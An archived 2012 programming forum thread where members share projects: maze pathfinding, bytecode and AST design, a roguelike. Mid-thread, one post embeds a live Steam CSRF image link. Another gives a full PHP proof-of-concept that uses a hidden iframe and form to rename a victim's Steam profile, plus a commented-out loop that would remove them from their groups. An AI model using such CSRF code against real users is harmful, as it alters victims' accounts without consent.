What are you working on? January 2012

[neos300]

[QUOTE=Darwin226;34229799]Why are you sorting anything? IIRC BFS and DFS don't need any sorting.
As for the speed, DFS finds A path faster but BFS finds the BEST path faster.[/QUOTE]

For best first you need to sort the list (or traverse through it, but I just chose to sort it) to find the best node.

[Darwin226]

[QUOTE=neos300;34230383]For best first you need to sort the list (or traverse through it, but I just chose to sort it) to find the best node.[/QUOTE]

Oh sorry. I thought you were talking about breadth first and DEPTH first searches.

[Jawalt]

Is it okay to output bytecode directly while parsing or should I use some kind of tree structure?

[supersnail11]

[QUOTE=swift and shift;34230346]what does it "serve"[/QUOTE]

I'm gonna say webpages.

[Mesothere]

Been lurking for a while but felt like posting some content, bits of unfinished art in the screens and there's a lot more to be done but here's my roguelike (original, I know)

Some magical items on the floor (older art in this one)
[THUMB]http://i.imgur.com/LurMi.jpg[/thumb]

When I was testing the lighting (older art again):
[thumb]http://i.imgur.com/mMpcu.png[/thumb]

Cloudy forest at night:
[thumb]http://i.imgur.com/INIwy.jpg[/thumb]

[cody8295]

[QUOTE=Maurice;34211606]"Few minutes" my ass.[/QUOTE]

It's in .NET and it's less than 100 lines, do you seriously doubt it took more than a few minutes?

[Darwin226]

[QUOTE=Mesothere;34230536]Been lurking for a while but felt like posting some content, bits of unfinished art in the screens and there's a lot more to be done but here's my roguelike (original, I know)

Some magical items on the floor (older art in this one)

When I was testing the lighting (older art again):

Cloudy forest at night:[/QUOTE]

Wow!

[Yogurt]

Wow, it appears Steam may be vulnerable to CSRF too.

[img]http://steamcommunity.com/actions/AddFriend/76561198052646613[/img]

In other news I am working on weapons in Minor Destruction.

[esalaka]

I wonder why NoScript has no CSRF protection yet.

[editline]16th January 2012[/editline]

Oh, it does. But only for POST.

[Shane]

[QUOTE=swift and shift;34230346]what does it "serve"[/QUOTE]

At the moment nothing, It will most likely become some sort of base for a future project.

[icantread49]

[QUOTE=synthiac;34230749]hahah yeah let's start posting csrfs again rather than content good idea!![/QUOTE]

i figured you'd be more accustomed to posting everything but content

[neos300]

This is so weird. Best first is outperforming both A* and dijkstra, and depth first is out performing dijkstra.
I based both a* and dijkstra off of the same code (set heuristic to 0 for dijkstra), I may have coded it wrong.

I'm solving a large maze by the way, this one:
[img]http://dl.dropbox.com/u/38318788/maze1s.png[/img]

[esalaka]

I don't think A* was designed for mazes?

[BlkDucky]

Suddenly roguelikes and maze generators.

this is almost nostalgic.

[icantread49]

post code, we might be able to help

[neos300]

Now that I think about it, that makes a lot of sense.

Looks like my experiment was flawed, which gives me an easy science experiment for next year.

[editline]15th January 2012[/editline]

Best first:[url]http://pastebin.com/AFRikdrc[/url]
Astar/dijkstra: [url]http://pastebin.com/vXPFCEYz[/url]
The only changes are in the if chain near the end (Line 122 in the astar one is where the changes start)
I think it's just the calculation of the Manhattan heuristic that is making it slow.

[editline]15th January 2012[/editline]

[QUOTE=BlkDucky;34231162]Suddenly roguelikes and maze generators.

this is almost nostalgic.[/QUOTE]

actually maze solvers

[editline]15th January 2012[/editline]

Just realized I was comparing distance from start to the manhattan squared (to avoid the square root) and not squaring the start distance.
This might work better.

[editline]15th January 2012[/editline]

Alright, it now runs about a 10ms faster then best first.

[swift and shift]

[QUOTE=Jawalt;34230481]Is it okay to output bytecode directly while parsing or should I use some kind of tree structure?[/QUOTE]

parse into an AST, generate bytecode later from the AST with a DFS

[supersnail11]

[QUOTE=cody8295;34230552]It's in .NET and it's less than 100 lines, do you seriously doubt it took more than a few minutes?[/QUOTE]

using .NET's built in charts is cheating

[swift and shift]

[QUOTE=Yogurt;34230596]Wow, it appears Steam may be vulnerable to CSRF too.

[img]http://steamcommunity.com/actions/AddFriend/76561198052646613[/img][/QUOTE]

I once had a proof-of-concept page that asked you to log in with Steam OpenID (to ensure that you were logged into steamcommunity.com). Once you did that, it'd fire off a hidden form into a hidden frame that changed your nickname to "i am a dumb nong"

[neos300]

Nevermind, I was actually testing best instead of a*.
It's actually 350ms slower.

[esalaka]

[QUOTE=swift and shift;34231392]I once had a proof-of-concept page that asked you to log in with Steam OpenID (to ensure that you were logged into steamcommunity.com). Once you did that, it'd fire off a hidden form into a hidden frame that changed your nickname to "i am a dumb nong"[/QUOTE]

Oh

I saw that one but didn't want to try it :v:

[swift and shift]

<?php

require_once("openid.php");

$o = new LightOpenID;

if(isset($_POST["do_redir"]))
{
	$o->identity = "http://steamcommunity.com/openid";
	header("Location: " . $o->authUrl());
	exit;
}

if(!$o->mode)
{
	?>
	<form method="post">
		<input type="submit" name="do_redir" value="click here to login with steam" /> (you will be redirected to the steam website)
	</form>
	<?php
} elseif($o->validate()) {
	$cid_parts = explode("/", $o->identity);
	$cid = $cid_parts[count($cid_parts)-1];
	
	$xml = new SimpleXMLElement(file_get_contents("http://steamcommunity.com/profiles/$cid?xml=1"));
	
	// this part is REALLY evil:
	/*
	
	foreach($xml->groups->group as $g) {
		?>
		<img src="http://steamcommunity.com/profiles/<?php echo $cid; ?>/home_process?action=leaveGroup&amp;groupId=<?php echo $g->groupID64; ?>" />
		<?php
	}
	*/
	
	$profile_name = $xml->customURL;
	if(empty($profile_name)) {
		$c = curl_init();
		curl_setopt($c, CURLOPT_URL, "http://steamcommunity.com/profiles/$cid");
		curl_setopt($c, CURLOPT_HEADER, TRUE);
		curl_setopt($c, CURLOPT_RETURNTRANSFER, TRUE);
		curl_setopt($c, CURLOPT_BINARYTRANSFER, TRUE);
		preg_match("/Location: http:\/\/steamcommunity.com\/id\/(?<url>[^\/]*)\//", curl_exec($c), $matches);
		$profile_name = $matches['url'];
	}
	
	?>
	<h1>pwned.</h1>
	<iframe name="shit" id="shit" style="position:absolute;left:-999px;top:-999px;"></iframe>
	<form method="post" action="http://steamcommunity.com/id/<?php echo $profile_name; ?>/edit/profile" name="frm" id="frm" target="shit">
		<input type="hidden" name="type" value="profileSave" />
		<input type="hidden" name="personaName" value="i am a dumb nong" />
	</form>
	<script>
	document.frm.submit();
	</script>
	<?php
}

[editline]16th January 2012[/editline]

[i]automerge[/i]

[neos300]

Wait, I got it wrong again.

[icantread49]

[QUOTE=cody8295;34230552]It's in .NET and it's less than 100 lines, do you seriously doubt it took more than a few minutes?[/QUOTE]

opening VS and dragging the controls into a form takes at least several minutes, so, yeah, you didn't do it in "a few minutes"

[neos300]

No, I got it right, for real this time.

[Jawalt]

[QUOTE=swift and shift;34231370]parse into an AST, generate bytecode later from the AST with a DFS[/QUOTE]

So how would I structure an abstract syntax tree? Something like this?:

Program
    Main
        stuff
        in
        this
        function
        
    Hash
        stuff
        here
        While
            too
            kay

Am I understanding the whole idea of it correctly?

[BlkDucky]

[QUOTE=supersnail11;34231388]using .NET's built in charts is cheating[/QUOTE]

uh

how?

[editline]16th January 2012[/editline]

funnily enough, this isn't a competition; there are no rules.

[Yogurt]

[QUOTE=synthiac;34232042]i'm still waiting on your ocr cas[/QUOTE]

We don't always get what we wait for. For instance, if somebody were to wait for "synthiac to get the fuck out," it's unlikely they'd get that.

[BlkDucky]

[QUOTE=Yogurt;34232095]We don't always get what we wait for. For instance, if somebody were to wait for "synthiac to get the fuck out," it's unlikely they'd get that.[/QUOTE]

I can't be the only one who finds the constant attacks on synthiac more annoying than synthiac himself.

Please tell me I'm not alone.

[icantread49]

[QUOTE=synthiac;34232042]i'm still waiting on your ocr cas[/QUOTE]

working on something better